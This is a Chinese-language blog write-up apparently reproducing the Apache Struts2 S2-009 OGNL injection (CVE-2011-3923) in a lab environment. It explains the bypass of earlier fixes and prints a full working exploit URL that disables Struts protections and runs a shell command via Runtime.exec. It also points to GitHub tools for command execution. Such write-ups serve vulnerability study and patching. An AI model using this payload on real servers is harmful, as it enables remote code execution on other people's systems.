Struts-s2-009 代码执行漏洞

本文详细介绍了Apache Struts2中的安全漏洞,包括漏洞描述、影响版本、复现步骤以及修复方案。该漏洞允许攻击者通过OGNL表达式执行任意代码,影响版本为CVE-2011-3923的2.1.0-2.3.1.1。修复措施主要是升级Struts2到不受影响的版本。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构


1、漏洞描述☕️

这个漏洞跟s2-003 s2-005 属于一套的,Struts2对s2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023\43来绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。 但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防护,造成任意代码执行

2、影响版本☕️

  • CVE-2011-3923
2.1.0 - 2.3.1.1

3、漏洞复现☕️

  • 肯定手法与工具都要啊

第一种操作

1、搭个环境,访问靶场

请添加图片描述

2、抓包,访问触发漏洞的地址

/ajax/example5.action

请添加图片描述

3、漏洞触发,执行ls /tmp命令

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%20/tmp%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

请添加图片描述

可根据需要执行相应的命令

请添加图片描述

第二种操作

工具可上GitHub找,直接输入网站首页的URL,

请添加图片描述

发现漏洞,直接进行命令执行

请添加图片描述

满足!!

4、漏洞修复☕️

升级版本


具体原理等搞会Java再继续更😭

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值